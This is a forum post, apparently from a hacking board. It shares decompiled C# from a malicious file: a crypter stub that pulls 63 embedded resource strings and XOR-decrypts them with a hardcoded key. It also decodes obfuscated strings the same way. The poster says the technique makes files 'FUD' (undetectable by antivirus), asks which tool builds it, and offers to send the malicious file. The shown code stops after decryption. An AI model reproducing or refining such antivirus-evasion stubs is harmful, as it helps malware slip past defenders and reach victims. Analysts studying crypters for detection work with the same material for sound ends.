Multilayer-resource ecnryption in C#

[Meteor2142]

Hello guys! 

 

I found a very interesting encryption code.
Its using Crypted resources, decrypting it with special byte key, and execute.
Here is the source of crypted file:

//KEY 		private static byte[] TSVCuLWZ = new byte[] {			0xb7, 0x61, 0xd7, 0x3d, 0x66, 0x5e, 0xa6, 0xe8, 40, 0x87, 0x19, 0x49, 0xce, 0x54, 0x68, 0x4c,			0xad, 0xa6, 0x2a, 0xf2, 160, 15, 210, 0xc6		};//Just a method to decrypt string (for more security)		private static string FUJHE(string LSMFpfp, byte[] sQoPbDpAtuDXdRTcmnW)		{			string[] strArray = LSMFpfp.Split(new char[] { '#' });			byte[] buffer = new byte[strArray.Length];			for (int i = 0; i < strArray.Length; i++)			{				buffer[i] = byte.Parse(strArray[i]);			}			for (int j = 0; j < buffer.Length; j++)			{				for (int k = 0; k < sQoPbDpAtuDXdRTcmnW.Length; k++)				{					buffer[j] = (byte)(buffer[j] ^ sQoPbDpAtuDXdRTcmnW[k]);				}			}			string str = "";			foreach (byte num4 in buffer)			{				str = str + ((char)num4);			}			return str;		}//Main method, decryptingstatic void Main(string[] EkhHJIncZlqF)		{						ResourceManager resourceManager = new ResourceManager("Project.VUCusDt", Assembly.GetExecutingAssembly());			string text = "";			for (int i = 0; i < 63; i++)			{				text += resourceManager.GetString(FUJHE("34#8#33#53#21#57#58#20#0#34#12#20", TSVCuLWZ) + i.ToString());			}			byte[] array = new byte[text.Length];			for (int j = 0; j < array.Length; j++)			{				array[j] = (byte)text[j];			}			for (int k = 0; k < array.Length; k++)			{				for (int l = 0; l < TSVCuLWZ.Length; l++)				{					array[k] ^= TSVCuLWZ[l];				}			}                    }  //////////////

With help of very nice guy we decrypted it, at all it was kinda easy.

 

Now the question, how this method calls? It's some special soft?

This way of decryption making file FUD

 

If anyone know, write bellow! 

Thanks!

If someone need ill send malicious file, but be careful!